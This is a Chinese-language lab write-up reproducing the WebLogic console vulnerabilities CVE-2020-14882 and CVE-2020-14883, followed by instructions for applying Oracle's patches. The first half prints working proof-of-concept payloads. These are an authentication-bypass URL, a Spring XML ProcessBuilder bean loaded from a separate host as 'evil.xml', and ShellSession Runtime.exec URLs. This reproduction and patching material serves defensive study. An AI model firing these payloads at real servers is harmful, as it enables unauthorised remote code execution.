0%

CVE-2020-14882&CVE-2020-14883漏洞复现

未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件,且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后,远程且未经授权的攻击者可以直接在服务端执行任意代码,获取系统权限。

登陆绕过POC

访问以下URL,即可未授权访问到管理后台页面

1
http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal

命令执行POC

POC Weblogic 10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>
1
http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.56.1:8000/evil.xml")

POC Weblogc 12

1
2
3
http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22);

http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

Weblogic 10 没有com.tangosol.coherence.mvel2.sh.ShellSession这个gadget,只存在于weblogic 12,weblogic10 并没有这个包,所以无法使用。

参考链接

漏洞修复

在oracle官网下载好补丁后。

1
2
3
export WL_HOME="/root/Oracle/Middleware/wlserver_10.3"
export MW_HOME="/root/Oracle/Middleware"
#修改成自己的实际路径

p31641257_1036_Generic.zipp32097188_10360201020_Generic.zip解压到${MW_HOME}/utils/bsu/cache_dir

然后修改${MW_HOME}/utils/bsu/bsu.sh里面的内存如果小了,安装补丁的时候可能会报错。尽量大一点(根据实际内存分配),最好符合补丁的要求(README.txt)的那个文件有。

1
2
3
4
5
6
7
8
9
- Configuring Memory options

For Microsoft Windows systems
Edit the bsu.cmd script and change memory options as follows:
set MEM_ARGS=-Xms1024m -Xmx4096m

For UNIX Systems
Edit the bsu.sh script and change memory options as follows:
MEM_ARGS="-Xms1024m -Xmx4096m"

然后安装补丁

1
./bsu.sh -install -patch_download_dir=${MW_HOME}/utils/bsu/cache_dir -patchlist=NA7A -prod_dir=${WL_HOME}
1
./bsu.sh -install -patch_download_dir=${MW_HOME}/utils/bsu/cache_dir -patchlist=KYRS -prod_dir=${WL_HOME}

安装一个要等十多分钟左右。。

image-20201110092953977

image-20201110093001464

要么成功,要么补丁冲突。。

之后再执行poc

image-20201110093537349